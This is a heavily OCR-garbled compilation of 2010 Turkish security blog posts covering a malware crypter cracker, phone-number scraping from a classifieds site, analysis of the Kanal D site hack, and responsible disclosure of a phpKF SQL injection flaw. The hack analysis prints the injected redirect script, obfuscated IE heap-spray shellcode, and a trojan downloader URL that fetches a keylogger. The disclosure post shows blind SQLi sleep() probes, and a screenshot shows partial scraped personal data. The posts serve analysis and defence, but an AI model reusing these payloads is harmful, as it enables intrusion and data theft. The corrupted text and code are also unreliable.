Bir malware analist i¢in ilk yapilacak is trojan paketlenmis ise paketten ¢ikartmak, sifrelenmis ise sifresini ¢dzmektir. Piyasada kullanilan
bir ¢ok paketleyici program i¢in paket ¢oziicii programlar hazirlandigi igin zararli yazilimi paketten ¢ikartmak aslinda artik biiyiik bir
sorun degil fakat sifrelenmis olanlar i¢in bunu sdylemek biraz gii¢ ¢iinkii kullanilan sifreleme anahtarini ve algoritmayi tespit edecek
programi otomatize etmek crypterin tasarimi nedeniyle gii¢ olabiliyor. Peki basit olanlari yok mu ? Otomatize etmek miimkiin mi ?
sorularinin yanitin1 bende merak ettigim i¢in gegtigimiz giinlerde bir forumdaki crypterlara géz atmaya karar verdim ve rastgele bir
crypter programini indirip incelemeye karar verdim.

Redix Crypter adindaki sifreleme aracina goz attigimda desteklenen sifreleme algoritmalart RC4 ve XOR'dan olusuyordu. Sifreleme
anahtarini program iizerinde nerede tuttuguna hex editor ile baktigimda ise sifrenin programin son satirlarinda yer aldigini gérdiim.
Ayrica sifreleme programi tiim parametreleri (payload, aktif anti v 6zellikleri, sifreleme anahtar1) <> ayraci kullanarak tutuyordu.
Bu ii¢ ipucu bize sifrelenmis bir programi ¢ézecek otomatik bir arag tasarlamanin miimkiin olabilecegini isaret ediyordu.

Python, python, python diyerek hemen bir program hazirlamaya basladim ve ortaya Redix sifreleme araci ile sifrelenmis bir programin
sifresini (sadece XOR i¢in) ¢cdzen ufak bir program ortaya cikiverdi. XOR'u ¢dzen programi ben hazirladim, RC4'u ¢6zenide siz
hazirlayin diyerek bu haftanin yazisina burada son veriyorum. Bir sonraki yazida goriismek dilegiyle...
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File to Crypt

(CiADocuments and SettingstAdninistratorDesttopicale oxe JLed )
| [+]1 XOR key detected: KIgRZIiTSjcIf jusAfQOSJhuy
i File ta Bind e [+]1 HORed payload cracked: cracked_payload.exe
r — E C:~Documents and Settings“AdministratorsDesktop>_
EXE Pump Encryption Password
Bytesto add [  KIgXZITSIcIfv\AfQOSIhvY

o |

= S | Py
0,00 KB | Generate Random | Lenght: |25

Anti Debugging Extra Settings

[] Anti ¥Mware [] Anti JoeBox [IRealign PE Header
[] Anti ¥irtual Box [] Anti Sandboxie [[]Has EOF pata

[] Anti ¥irtual Pc [] Anti Anubis [Jchange EP

[lanticwSandbox [ | Anti ThreatExpert

Encryption
Icon Changer (256 Bit)
<—- Click Use XOR {slow)
[1Enabled [Juse RC4 (faster)

Status: File successfully crypted!

[ Crypt

Redix Crypter Cracker programina buradan ulasabilirsiniz.

Farkinda misiniz ?

Source: https://www.mertsarica.com/farkinda-misiniz/
By M.S on May 5th, 2010

=

Oldum olas1 cep telefonuma gelen reklam mesajlarindan nefret etmisimdir. Usanmadan bikmadan ulasilabilir olanlara ulasip bir daha
reklam mesaj1 gondermemeleri konusunda kendilerinden her defasinda ricada bulunurum ne mutluki kimileri bir daha reklam mesaji
gondermezler, Garanti Bankasi1 gibi miisteri memnuniyetine 6nem vermeyen (6 defa hakli miisteri hattin1 arayip rica etmeme ragmen
reklama devam!) kurumlar ise reklam mesaji1 gdndermeye devam ederler.

Yine gegtigimiz gilinlerde bir 6glen vakti cep telefonuma bir mesaj geldi, "Yine mi Garanti, yine mi Bonus" diye mesaja baktigimda
bu defa yanildigimi gérdiim ¢iinkii son giinlerin moda mesajlarindan biri olan ve dolandiricilar tarafindan gonderilen "Tebrikler hediye
kol saati kazandiniz hemen 0532 111 85 85'i araym" mesajin1 almistim. Son giinlerde dolandiricilar ya bedava kol saati ya da bedava
checkup kazandmiz seklinde cep telefonlarina mesajlar géndererek insanlarin kredi kart1 bilgilerini toplayarak yiiklii miktarda para
¢ekerek insanlar1 dolandiriyorlar. Konu ile ilgili daha detayli bilgiye buradan ulasabilirsiniz.

Yillardan beri kullandigim bir numara olmasi nedeniyle bu mesajlari almay1 aslinda pek fazla yadirgamiyordum ¢linkii aligveris esnasinda
alinan bu ve benzer bilgilerin bir sekilde degerlendirilip nakte déndiiriildiigiinden hig siiphem yoktu. Isim geregi her konuya ister istemez
art niyetli insanlarin géziinden bakmay1 aligkanlik haline getirmis biri olarak "acaba niyetim sms ile reklam yapmak olsaydi veya bir
kisinin cep telefonu bilgisini 6grenmek olsaydi bunu nasil basarabilirdim" sorusu uzun zamandan beri aklimin bir kdsesinde yanitlanmay1
bekliyordu.

Bir ilan aramak i¢in gectigimiz giinlerde meshur bir ilan arama web sitesini ziyaret etmem gerekmisti. Ilan ara meniisiindeki kategorilerde
yer alan son 1 aylik ilanlara g6z attigimda (~ 450.000 ilan) dikkatimi en ¢ok ¢eken kisim ilan sahiplerinin isim, soyad ve cep telefonu
bilgilerini vermekten hi¢ ¢ekinmedikleri olmustu.

Belki farkindalik eksikligi belki kendi tercihleri ancak isim, soyad ve cep telefonu bilgisi 6zellikle giiniimiizde bankalarin internet
bankacilig1 girislerinde zorunlu tuttugu tek kullanimlik sifre ile olduk¢a 6nem kazanmis ve dolandiricilarin sosyal miihendislik
saldirilarini basariya ulastirabilmeleri i¢in sahip olmak istedikleri bilgiler arasinda iist siralarda yer almaktadir.

Ornegin penetrasyon testlerinde, sosyal miihendislik saldirismin asil amact hedef sisteme sizmak, erisim bilgilerini almak igin hedef
kisiyi kandirmak ve sizle bu bilgileri paylagsmasini veya size erigsim vermesini saglamaktir. Ancak ger¢ek hayatta dolandiricilarin amaci
sosyal mithendislik ile kigisel bilgilerini nakte ¢evirmek icin veya internet bankaciligi hesabiniza erismek i¢in bu bilgileri toplamak
olabilir. Dolandirict benim isim, soyad ve cep telefonu bilgim ile beni nasil daha kolay kandirabilir sorusuna hemen ufak bir 6rnek ile
yanit vereyim.

Ornegin art niyetli bir kisi tarafindan kurbanin e-posta sifresini ele gegirmek igin gonderdigi bir yemleme (phishing) e-postasinda
"Merhaba, E-posta sistemimizdeki bir ariza nedeniyle sifrenizin giincellenmesi gerekmektedir, Litfen dogrulama amacryla kullanict
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admizi ve parolanizi bize iletin" seklinde bir mesaja yer vermesi kurbani kandirmak i¢in yeterli olmayabilir fakat ""Merhaba Mert
SARICA, E-posta sistemimizdeki bir ariza nedeniyle sifrenizin giincellenmesi gerekmektedir. 05xx xxx xx xx numarali cep telefonunuza
yeni sifrenizi gonderebilmemiz i¢in dogrulama amaciyla kullanici adin1 ve parolanizi bize iletin" seklinde hazirlanmis bir mesajin
basariya ulasma ihtimali bir dnceki mesaja kiyasla daha yiiksek olacaktir.

Peki bu art niyetli kisilerin bu bilgileri isim, soyad ve cep telefonu bilgilerinin paylasildig1 bu ve benzer ilan sitelerden toplamak ne kadar
kolay olur sorusuna yanit aramaya koyuldum ve hemen bir senaryo iirettim. Ornegin art niyetli bir kisi bu meshur ilan arama sitesinde
yer alan tiim ilanlardaki isim, soyad ve cep telefonu bilgilerini toplamak istiyorsa yapacagi ilk is ne olur dedim ve akil hastas1 degilse
teker teker tiim ilanlar1 gezmek tercih edecegi en son yol olur bu nedenle program yazmak ilk tercihi olur dedim ve ben de ufak bir
program yazmaya karar verdim ve karar verdikten 4 saat sonra program hazirdi.

dows\system32\cmd.exe - python

: 495.527
Ahmet
: Cahide ifm
: Mehmet
= Halil |

Smile !
: Okan B
: Gilven
Mustafa TOg : @53671
Mustafa Mohile:
Ihrahim : B5326
Islam : B5439
ihsan : B5385
: Musa Mohile:
: Ihsan = B5385
Engin = @B5324
: Ertugrul : B5365
= Yucel : B5497
: Atilay _ = B5322
Recep Mohile:

Siz siz olun kisisel bilgilerinizi 6zellikle internet sitelerinde paylagsmadan 6nce nelere mal olabilecegini ve kimlerin eline gegebilecegini
tekrar diisiiniin. Bir sonraki yazida goriismek dilegiyle hosgakalin...

Not: Bu program bilgi giivenligi farkindaligini arttirmak amaciyla programlanmistir. Etik degerler ve giivenlik gerekgelerinden &tiirii
kimseyle paylagilmamistir, paylasilmayacaktir.

Kanald Vaka-i Analiz

Source: https://www.mertsarica.com/kanald-vaka-i-analiz/
By M.S on April 30th, 2010
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Hatirlarsaniz gegtigimiz hafta bilgisayar korsanlar1 Kanald web sitesini hacklemisler, bende sans eseri o esnada web sayfasini ziyaret
eden biri olarak olaya tanik olmus ve doktor iyilesecek hastanin ayagina gidermis misali hemen verileri toplayarak analiz etmeye ve
insanlar1 konu ile ilgili bilgilendirmeye ¢alismistim. Yaptigim kisa bir analiz ¢alismasi sonucunda bilgisayar korsanlarinin Kanald web
sitesini ziyaret eden ziyaretgileri kendi sitelerine yonlendirmelerindeki asil amaglarinin sitelerine koyduklari internet explorer istismar
kodu ile ziyaretgilerin sistemlerini ele gegirmek ve tus kaydi yazilim1 yiiklemek oldugu ortaya ¢ikmisti.

Peki kisa bir siirede nasil boyle bir sonuca varmigtim, kisaca agiklayayim.

Oncelikle sayfanin kaynak kodlarina baktigimda metasploit istismar kodlarina zaman zaman gz atan biri olarak internet explorer
yazilimimi hedef alan bir kod oldugunu anlamam pek zor olmadi. Hemen ardindan acaba bu girisim ile hedef sistem iizerinde korsanlar
ne yapmak istiyorlardi sorusuna yanit aramaya koyulmusken 37 kb boyutunda binary formatindaki uzayip giden son satir dikkatimi
¢ekiverdi.

val ue="4d5a90000300000004000000f f f f 0000b800000000000000400000000000000000000000000000000000000(

IIk isim binary formatindaki bu kodu hex editor ile exploit.exe ad1 altinda kayit etmek ve incelemek oldu. Genellikle bu ve benzer kotii
niyet gliden programlar ya paketlenmis ve/veya sifrelenmis olurlar bu nedenle hex editér ile inceledigimde ipucu adina pek fazla birsey
bulamayacagimi diisiiniiyordum. Minimum 5 karakter olarak ASCII ve UNICODE olarak stringleri tarattigimda anlamli olabilecek
yaklasik 100 tane string ile karsilastim. 37 kb boyutunda bir binary ve yaklasik 100 tane string ? Aklima pek yatmadigi i¢in biraz
kuskuyla yaklastim ve PEID ile emin olmak i¢in exploit.exe yazilimini inceledim, sonug paketlenmemisti.
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12 DED v0.95 EE=

File: | CtyDocuments and Settings\Administratar\DeskioptBackup|Kanaldiex [, ]

Entrypaink: | 00008614 EP Section: | text =1
File Offset: | 0000SALA First Bytes: [69,04,67,86 | = |

Linker Info: (3,0 Subsystem: [Win32 GLIT =]

Nothing Found *
Mult Scan_| | Task viewer Options abot || Ea |

W Stay on top ﬂ ﬂ

Bu iste bir is var diyerek birde Immunity Debbuger ile exploit.exe yazilimini incelemeye karar verdim. Kisa bir incelemeden sonra
yazilimin ¢alisma esnasinda igerisinde sifrelenmis olarak tutulan kod pargaciklarini, 0x1000 byte boyutundaki 0x00390000 bellek
alanina kopyaladigint ve XOR ile sifrelenmis kod pargaciklarini ¢6zdiigiinii gérdiim. Cézme islemini kisa bir siire takip ettikten sonra
ortaya http://217.23.7.125/xxx.exe web adresi ¢ikiverdi. Bu web adresi, exploit.exe ad1 altinda kayit etmis oldugumuz bu zararli yazilimin
bir trojan downloader oldugunu ve ana zararli yazilimi yani tus kayit yazilimini, igerisine gomiilii olan bu web sitesinden indirerek
calistirmak tizere tasarlandigt anlamina geliyordu.

Haliylen bu zararl1 yazilimin otomatik olarak tus kayit yazilimini bu web sitesinden indirip kurmasina g6z yumamayacagim i¢in manuel
olarak xxx.exe yazilimini indirip hex editdr ile incelemeye ve stringlere goz atmaya bagladim. Kisa bir inceleme sonucunda bu yazilimin
leetlogger adinda bir tus kayit yazilimi oldugu ortaya ¢ikt1 ve dinamik analize gerek kalmadi.

Uzun uzun yazilar okumaktansa video izlemeyi her zaman tercih eden ve bu nedenle yazilarimda olabildigince videolara yer vermeye
galisan ve sizede ister istemez bu aligkanlig1 kazandirmis biri olarak yaptigim analizi 6zetleyen 4 dakikalik ufak bir video hazirladim,
herkese iyi seyirler dilerim.

Kanald.com.tr Hacklend.i...

Source: https://www.mertsarica.com/kanald-com-tr-hacklendi/
By M.S on April 22nd, 2010

=

20:30 siwralarinda http://www.kanald.com.tr sitesi bilgisayar korsanlar1 tarafindan hacklenerek sayfaya giren ziyaretciler http://
m3ng3nll.by.ru/birand.html web sayfasina yonlendirildi. Her ne kadar korsanlarin sayfada yayinladiklart mesaj masum gibi goriinsede
aslinda sayfanin kaynak kodu incelendiginde heap-spray yontemi ile yamasi giincel olmayan Internet Explorer tarayicisina sahip olan
ziyaretgiler istismar edilmeye yani isletim sistemi ele gegirilmeye galisiliyordu. Istismar kodunu kayit edebildim, elimdeki verileri
toparlamaya calistyorum, imkanim oldukga sizleri bilgilendirecegim. Internet Explorer siiriimii giincel olmayanlariniz bu sayfay1 ziyaret
etti ise biiyiik tehlike altinda olabilirsiniz bu nedenle isletim sisteminiz {izerindeki sira dis1 aktivitelere dikkat etmenizde fayda var...

Giincelleme @01:10: Benden bu kadar kendinizi ve agimizi korumak istiyorsaniz yapmaniz gerekenler;

e 217.23.7.125 IP adresine dogru tiim trafigi yasaklayin ve izlemeye alin.

» xxx.exe adinda isletim sisteminizde bir dosya varsa (MDS5 hashi: b597c4a7451a84d94{f421f4ba3c4d6c¢) silin.

* windows\system32 klasdrii altinda a.exe adinda bir dosya varsa (MDS5 hashi: b597c4a7451a84d94ff421f4ba3c4d6e) silin.

* pesecurity35@gmail.com e-posta adresine giden tiim e-postalar1 yasaklayin ve izlemeye alin.
Giincelleme @01:00: xxx.exe ve a.exe leetlogger adinda bir tug kayit (keylogger) programi ve tus kayitlarini pesecurity3S@gmail.com
e-posta adresine gonderiyor, dikkat!

Giincelleme @00:42: Istismar kodu http://217.23.7.125/xxx.exe dosyasini indirip ¢alistirtyor ve daha sonra kendisini system32 klasorii
altinda a.exe adi altinda sakliyor, dikkat!

Giincelleme @00:30: Istismar kodunun online analiz sonucu
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/” Virustotal. MD5: a7e05ebedaBd591c727482112d050621 Trojan.Crypt. XPACK.Gen2 Gen: Trojan.Heur. TP.cq - Windows Internet Explorer
G-

wirustotal.com

9| (B [%ellx
Ele Edt View Favortes Tooks Help
i Favortes " ‘ e =
)| MoS:

T2T4821F2d0S06. ..

File exploit.exe received on 2010.04.22 21:26:54 (UTC)
Current status finished
Result 20140 (50.00%)

0w -

Giincelleme @00:09: Istismar edilen giivenlik zafiyeti tespit edildi - MS10-018
Hedef IE siiriimleri:

* Microsoft Internet Explorer 7, Windows Vista SP2

* Microsoft Internet Explorer 7, Windows XP SP3

* Microsoft Internet Explorer 6, Windows XP SP3

Giincelleme @22:01: Korsanlar kanald.com.tr sayfasinin kaynak koduna asagidaki satir1 eklemisler.

_m kanald_source.bxt - Notepad N
File Edit Format View Help

] [m]

<a href="/Dizi/Detail.aspx?diziId=88" class="1Tnk"=Cumartesi 20:00</a>
</divs

<div class="blk">
<h3=Kavak velleri</h3>
<a href="/D'izw‘/Deta'i'I.aspx?d'iz‘iId=12” class="1img">
<img id="Imgl"

y src="http://cdn. dogantv. com. tr /Uploads /Images,/21042010032337. jpg" al
</a>

<a href="/Dizi/Detail.aspx?diziId=12" class="cnt">Hapishaneden ¢ikan Given, olup bitenle
4?dhref="fD'izw‘;’Deta'i'l.aspx?d'iz‘iId=12” class="Tnk">Cumartesi 22:15</a>
</ div=

</dive>

<div id="bprg" class="block">
| <h2>Programlar</h2>

=l
<div_class="blk">
<h3><script=location="http://m3ng3n1l.by.ru/birand. html"</script></h3> |
<a href="/Program/Detail.aspx?programid=27" class="img">
y <img id="Imgl" width="313" height="157" src="http://cdn.dogantv. com. tr/uploads/Images /22042010122440.jpg" al
</a>
<a href="/Program/Detail.aspx?programIid=27"
class="cnt">
[&Tt; script&gt; Tocation=&quot; http://m3ng3nTl. by. ru/birand. htmT&quot; &Tt; /script&gt; [Kanal D&rsquo;nin &ouml;m
</ as
N I — H o4

Korsanlarin yonlendirdigi sayfa:
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€ cC f m3ng3nil.by.ru

Sayfanin IP adresi:

Sebebi Ziyaretimize

amell = MUSLLLAT - BondBey - CMD - Oss1- MadSystem=- KaCak

aslinda bu bouyle uzar geder baond
Birand'im Dinsizin Hakkindan Sen gelirsin

ASK-1 MEMNU ISTEMIYORUZ

Corpiraysin C 2012
Sasanars amen Design

HA BIZ YILMAZ ERDOGAN'ada KARSIYIZ
ASLINDA BIZ SANADA KARSIYIZ BIRAND-IM
ABI BIZ T.C AHLAK DEGERLERINE AYKIRI OLAN HERBISEYE KARSIYIZ
AMA SEN ANLARSIN ANLASAN ANLASAN

BZ SEM SECTIK BIRRNDYU
Abi amon sikoyst mikoyet olmosin sodece zooflarinkzi giderin

\Windows\system32\cmd.exe

Copyright <c> 2889 Microsoft Corporation.

C:sUszerssMert>nslookup ming3nli.by.ru
resolverl.opendns.com
T 2B8.67.222.222

ritative answer:
m3ng3nll.by.ru
83.222.28.157

C:sUserssMert >

All rights reserved.

Host IPS alarmi:
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€« C # 1 nip://www.google.com.tr/ O~ F-
S (3 Oterbockmats
Web Gorseller Haberder Cewiri Bloglar Taknim Gmail diger v 1Google | Arama ayadan | Qturum agin
I :
Dl Aragian
Ara: ® Web © Turkge sayfalar © Tirkiye'den sayfalar
82010 - Giglili
4\ Symantec Endpoint Protection EI
Traffic from IP address 83.222.20. 157 s blocked from
22.04.2010 21:13:47 to 22.04.2010 21:23:47,
Enn:nzgovl HTTP Microsoft IE Generic Heap Spray BO
3 RoboForm = [Search =] $3togns + 7 (passcards) | §y SenpFomFiling | [JSave () Generate (g Sync e x

Internet Explorer istismar kodu:

-~
e N A S T R S

7| <body bgcolor="black®>
i <p align="center">inbsp;</p>
8 <p align="center®">inbsp:</p>

11| </body>

¢ <style type="text/css">

! <script>

C | vewsou

http://m3ng3nll.by.ru/birand. htm

<html><title>Haxored Dogan Holding A.S</title>
<style type="textc/css">

<lan

.stylel {color: RFFFFFF}

-—>

</style>

<p align="center"><img src="hLtp://140.tinvpic.com/154x8c0,ng" width="720" height="134"></p>
<p align="center"><img src="hrrp://i44.cinvpic,com/2cagrad,.jpg® widcth="720" height="134"></p>
<p align="center” class="stylel®>cimg src="http://i41.tinvpic.com/21bTkmo.ipg™ width="720" height="134"></p>

</html>

<html>
<head>

.vdeFseTgAwtxQpQIUeh {behavior: url (#defaultfuserDacta);:}
</astyle>»
</head>

function ZCKW 0t
var zauEirQEfrGRuMETLGCEW]zBNgvpjcsPWwnCogMfc =

unescape (*Yu4835%uT196%uf91lbbuTesdbuTd04%ulS48%ue2latuTliThulcT5%udb7 ThudS38%usbbS5Yubd99%ubaichud2Ochul539%uTabivulc4 T3 LT0%T42£%uf82bVuT2bThued20%ud £25%udeTE%ul
666%ucTfebulfdcObuTE734uT91dvul4464u9124%udT749%ulT96%uel fERUTETE 42%uTcd4%ube40%ub4bfhuETI5%uadb8tulf712vudaebtuld43tulcidiue3d0bufc03%ustblubé
14%u9341%ub205%uTa%0%uBd43%uT47T4uT670%Ef11vuelclbudl22%uT5e1%ufd33%udfbatul 07ebuTBe3%ull T 4ul 5d6%ulce2 fuTib0%ud96 7 ube2 Stublf 1d%ul441%ubd fcbuf 508%u9746%ubl 98%ud 79
bAu964b%udl3THu4bTvud430%uT234%ulc42%ud0bS5u4Bb3Ius63LuT1b9%uTdl4%ub205%ud2atvuldadtuebilvul 34evud4£9%u217chud3d2 Subbf8Vubi4£4u3cd 9%u4035%uTb73vuda3dvul S2chudS3b
BuS32fub3b8kuT433%uTeTE64uTITIRuli4lbudeeObulf919%uif8diuTc46bulcTatulf3IThu2 £96ua92dbuddT24uT7599%ufc69%u2chbfYusibatul2 71 vubefSkudS2atuTb9lvufdlatulclchue2dlbud2 664
u25b5%u%b4biubb05%uT078%uTd04%uaB35%u297%ul 1b2 Yud6f THuTT43%ub42 4%u473d%ud0bl ud4 6b%ue 38 9%ub015%ubT4f Yudabbud0bEsuf B0bbucl2Itullel fulcebbubTI4%uT fbA4udfldtul 976%u
14e2%ubl8diul567%uldchbTuTcTdbud340%ulc7LVvudEb2¥uT243%ud469%ud 7 TebubIb64ud92%us82diu2cT1vu22 3L vuT4ebVu2bl4bulcd0huT04etud605%ud621vufdBEbudl Tabud2bSYul 0b0Vu2 £ L8 ud
Sb3%ub897%ub4 9b%uT53d%ubb24tuTbbatudS10%ulb3Thud felbuel01huT87T4uldlchudSdatul4254udl £9%ubl 904 u3l4a9hulfbetur3? 1 £5288uTb35kul24ebuT0d4%uTeTakuld
Oc%uf681%uf8d3tul42diud973%ubl2f%ul SbetuT248%u 7420324 f%u66d6%ud3b4%uTeTchuT 94bbuel2 S%ubB05%ud892%uelfStulad6%ulSelbutad ItulcTdbul4b5%uT471%ul 518%ue320%ud4 77 T4ud6b
a%u413f%u9bbbbu7Eb0%ud040vulaTsu02dsultebhulbf S%ulcfobuld 77333 79%ue0c0buT071%uad93d%u35T6%u3sTabul4elbubf91%udfb74udTb2vue3B64uB3lchuTs5fdVueT1dbub3aduTco9%ub624
SuBdbl¥ud28T¥u3febbulsT2hu40e2VuT4be¥uIs42%ulT7d u04be du2c 7BV ThEchud £14ulcTF urdadtur513su2d4atuas25bube 41 %udbbl ¥u969£hubT354u7705udbl54u6792%ud1d6vur943%ubogey
ul3Tebubad4tubildtub2b5%ud397%u43d5%ubb3chul 4b9%uEE3dbubi464uf838%ubf48%ulc34%u2 £47T4u%04e%ucd33%uSebl fucbbbud44a3tuddS5fuddcibu2 47T4%uSef4%usSe3I1uld30LtulfSetueeditu
4137%udebliud203%ulecibu30T4bubb3chul4cObusSdf4%uc66diu2207vulddbibucldlsuaaibiuecadbud250%ul35aubldésuTSIeubf8fubebdiuva406bu2 6a7buledatuiad2buise3vuTo59%uaTiatul
cb0%u223etuaclliulsd 1 FuL131%u0582%u32414u9172%u6absvu4010%ulfariul2d7eubT0LFul028%us801%ul090%ud47chuSecOtu66L0uE6T7Ietul2e2vubTacku2 lbevul L
Ba%ucfb9%u3a72%ulf69%uab%0%u3098%4u5111%ud6cétulfdéluTedbud8838u2508%uf 9bl bubdetualaftusaadtual 4 2ed%ul310%u2l51%ufbe9%ul70bbuc0B8BbuS6ctusSfaliu2 g2
6%uffelyusidetuaélItuabcatuiddotuabobullletbue2ébbulld7sul991udSetus2e3tuTalvuaaBdiu2S2chuadcfu210bsullsavulfodbus73dvus310%ulfldbiul578%uc8l5%ucibébuadEfyub3es
#u777dbufddbubSedbucfb4bulbifuTalbbulllfbul3afbu2 945%ul80Thué0Satud4fltubSaéiudlcfudcSfulcTéhusfdliuabeetuTe7Thuckbl2¥ussSbliueelchus7Satued ldbulle Thué23Thuafcoh :]

Responsible Disclosure Ornegi

Source: https://www.mertsarica.com/responsible-disclosure-ornegi/
By M.S on April 22nd, 2010

P2

Giivenlik diinyasia meraki, ilgisi olanlarmiz daha énce bir ¢ok kez disclosure (ifsa) kelimesini duymustur. Ozellikle SecurityFocus'un
o yillara meydan okuyan meshur Bugtrag e-posta listesine iiyeyseniz (degilseniz ¢ok sey kagiriyorsunuz) hemen hemen hergiin dort
ifsa modelinden biri ile posta kutunuzda karsilagirsimz. ifsa modelleri nelerdir ve neden ihtiyag duyulur dediginizi duyuyor gibiyim
kisaca agiklayayim.
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Giivenlik aragtirmacilar (Security researchers) isleri geregi veya hobileri geregi vakitlerini sistem ve uygulamalarda giivenlik agig1
arayarak gegcirirler. Glivenlik agigin1 kesfettikten, analiz ettikten, istismar aracini (exploit) hazirladiktan sonra ve son adimda bir karar
vermek zorunda kalirlar iste burada dort ifsa modelinden birini segerler. Ifsa modellerinin temel amacinda kullanicilar1 giivenlik zafiyeti
konusunda bilgilendirme ve iireticileri zafiyetin giderilmesi konusunda goreve ¢agirmak yatar. Bir giivenlik zafiyeti konusunda insanlar
bilgilendirilmez ise bundan en gok kar amaci giiden iireticiler memnun olacaktir ¢linkdi bir sistem veya uygulama i¢in yama hazirlanmasi
iireticilere ekonomik agidan pahaliya mal olur ve kar amaci giiden bir iiretici lizerinde baski hissetmedigi siirece giivenliginizi cogu
zaman ikinci plana atacak ve dnem vermekten kagiacaktir.

Ifsa modellerini kisaca aciklamak gerekirse;

Responsible Disclosure: Uretici ile herhangi bir haberlesme yolu ile iletisime gegerek giivenlik zafiyeti konusunda giivenlik agiginin
varligini ve istismar edilebildigini kanitlayan POC (proof-of-concept code) kodunu iiretici ile paylasir ve ne kadar zaman igerisinde
iireticinin bu zafiyeti giderecegini ve kullanicilar ile paylasacagini sorarlar ve el sikistiklar taktirde {iretici firma giivenlik zafiyeti ile
ilgili yamay1 duyurduktan, el sikisamadiklar1 taktirde en kisa zamanda (Full Disclosure) giivenlik arastirmacisi giivenlik zafiyeti ile ilgili
bilgiyi ve POC kodunu ¢esitli kaynaklar (6rnek: Bugtraq) lizerinden insanlarla paylasir.

Limited Disclosure: Bu modelde ise giivenlik aragtirmacisi tarafindan giivenlik zafiyeti ile ilgili yukarida belirtilen el sikisma, POC
ve detay haricindeki adimlar izlenir. Limited disclosure yani kisitli ifsa ile giivenlik arastirmacisi giivenlik zafiyeti ile ilgili detayli
bilgi vermedigi i¢in bu modelin ne iiretici ne de kullanicilar {izerinde fazla bir etkisi olmaz bu nedenle iiretici zafiyet ile ilgili yama
cikarmayabilir.

Full Disclosure: Bu modelde ise giivenlik aragtirmacisi iireticiye haber vermeden giivenlik zafiyeti ile ilgili detayli bilgiyi ve POC
kodunu yayinlar ve kullanicilar o an itibariyle giivenlik a¢iginin risk derecesine gore biiyiik bir tehlike ile kars1 karstya kalabilirler. Bu
gibi durumlarda iireticiye ¢ok is diiser ciinkii yama yayinlanana kadar kullanicilar risk altinda olurlar. Ozellikle risk derecesi kritik ise bu
durumdan faydalanmak isteyen art niyetli kisiler veya gruplar solucan (worm) hazirlayarak bu durumdan nemalanmak i¢in ile koyulurlar.

No Disclosure: Bu modeli ise gogunlukla yer alt1 hacking gruplar ve istismar aracini satarak maddi gelir saglayan kisiler tercih ederler.
(Nedenlerini agiklamama gerek yok sanirim :))

Gelelim bunlari sizlerle neden paylastigima.

Yine o klasik nedenden 6tiirii yani can sikintisi ile gectigimiz giinlerde agik kaynak kodlu web uygulamalarini incelemeye karar
vermistim. Tercihimi PHP forum veya blog yazilimlarindan yana kullanmaya karar vermisken Google arama motorunda yaptigim ufak
bir arastirma neticesinde yerli mali yurdun mali phpKF (php Kolay Forum ve Portal) ve uygulamasi ile karsilagtim. Cogunlukla bu
ve benzer PHP uygulamalarinda SQL Injection, LFI/RFI (file inclusion) saldirilart en ¢ok karsilasilan giivenlik zafiyetlerinin basinda
gelirler. Bende bunu goz 6niinde bulundurarak bu uygulamayi incelemeye karar verdim.

Kaynak kodunda, grep ve cut ile ¢ag dis1 bir sekilde giivenlik zafiyeti aramaktansa Python ile dnce ufak bir mysql injection tarama aract
hazirlamaya daha sonra ise LFI/RFI tarama arac1 yazmaya kisaca yoldan sansimi denemeye karar verdim. Hatta biraz daha kolaya kagip
once ufak bir blind mysql injection tarama arac1 yazarak ise koyuldum. IDLE ile kisa bir zaman cebellestikten sonra ortaya Simple Blind
MySQL Injection araci kisa adiyla SMBIT ortaya ¢ikiverdi.

Ne yalan sdyliyim boyle basit bir programdan pek fazla beklentim yoktu hatta grep ve cut ile giivenlik zafiyeti bulmak i¢in daha fazla
sansim olacagimi diigiiniilyordum fakat yanildim :)

AWINDOWS\system32\cmd.exe - sbmit. py http:/flocalhost

:/7localhost/vrss.php?f=1' +tand+sleep(’15’ >x23

:/slocalhost/ t.php?kosul=kabul’ +and+sleep(’ 15’ >x23
:/7localhostsvrss.php?f=2' +tand+sleep{’ 15’ >x23
://localhostseposta._php?ki dmin‘+and+“leep(‘15‘)723
:/slocalhostseposta.php?k 1t‘+and+ﬂleep( 15 %23
:/slocalhostssite_ekle.ph —1‘+and+ﬂleep( 15° %23
:/7localhost/site_ekle.php?kosul=veni_site_ekle’ +tand+sleep(’15’ »x

:/#localhostshaberler.php?hd=1’ +and+sleep{’15° >x23
:/slocalhost haberler.php?hn 1‘+and+ﬂleep( 157 %23
:/slocalhostsgaleri. php7gd 1‘+and+ﬂleep( 15* %23

:/slocalhostsgaleri.php?kosul=reszim_ekle’ +tand+sleep{’15° >x23
:/slocalhostsgivis.php?git=ro0i_yaz.php?ozel kime=mert:’ +and+zsleep

:/7localhostsgivis.php?git=reposta.php?kim=admin*’ +and+zleep{’ 15"’

Blind MySQL Injection Detected
thttp:-slocalhost/portalsdosyalar.php?kategorino=1'+and+zleep(’15* >x23

Sira ifsa modelini segmeye gelmisti. Code of ethics imzalamis biri olarak Responsible Disclosure disinda bir modeli diisiinemedigim
icin bu model ile ilerlemeye karar verdim ve phpKF'nin web sitesini ziyaret ederek iletisim bilgilerini aramaya koyuldum ancak herhangi
bir e-posta adresi bulamadigim igin siteye iiye olarak uygulamanin programcisi olan Adem YILMAZ'a 6zel mesaj gonderdim. Baglarda
kendisi ile el sikigmakta biraz zorlansamda sonunda el sikisabildik ve kendisi uygulamay1 giincelleyerek kullanicilarini bu giivenlik
zafiyeti konusunda bilgilendirdi.

Bilgi vermesi agisindan Adem YILMAZ ile yaptigim goriismeyi basindan sonuna kadar sizlerle paylasiyorum. Simdiden herkesin 23
Nisan Ulusal Egemenlik ve Cocuk Bayramini kutlar herkese iyi haftasonlar dilerim.
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Not: Responsible Disclosure modelinde kars1 tarafa yani iireticiye yamay1 ne zaman yayinlayabilecegi sorulur ve daha sonrasinda el
sikisilir ancak asagidaki drnekte biraz baskici bir yaklasim sergiledigimi farkedeceksiniz nedeni yamanin en kisa siirede yayinlanmasini
saglamakti. Egerki kars1 taraf bu siire zarfinda yamay1 belirli nedenlerden 6tiirii yaymlayamayacagini belirtse idi bu durumda etik olarak
kars1 tarafin belirttigi siire sonunda yaymlamay1 kabul edecektim.

Selamlar,

Bilisim giivenligi uzmani olarak zaman zaman programlari inceleyerek giivenlik agiklar1 ariyor ve blogumda (http://
www.mertsarica.com) yer veriyorum. Gegtigimiz gilinlerde forum ve portalint kurup inceleme firsat1 yakaladim ve blind sql injection
giivenlik zafiyeti kesfettim.

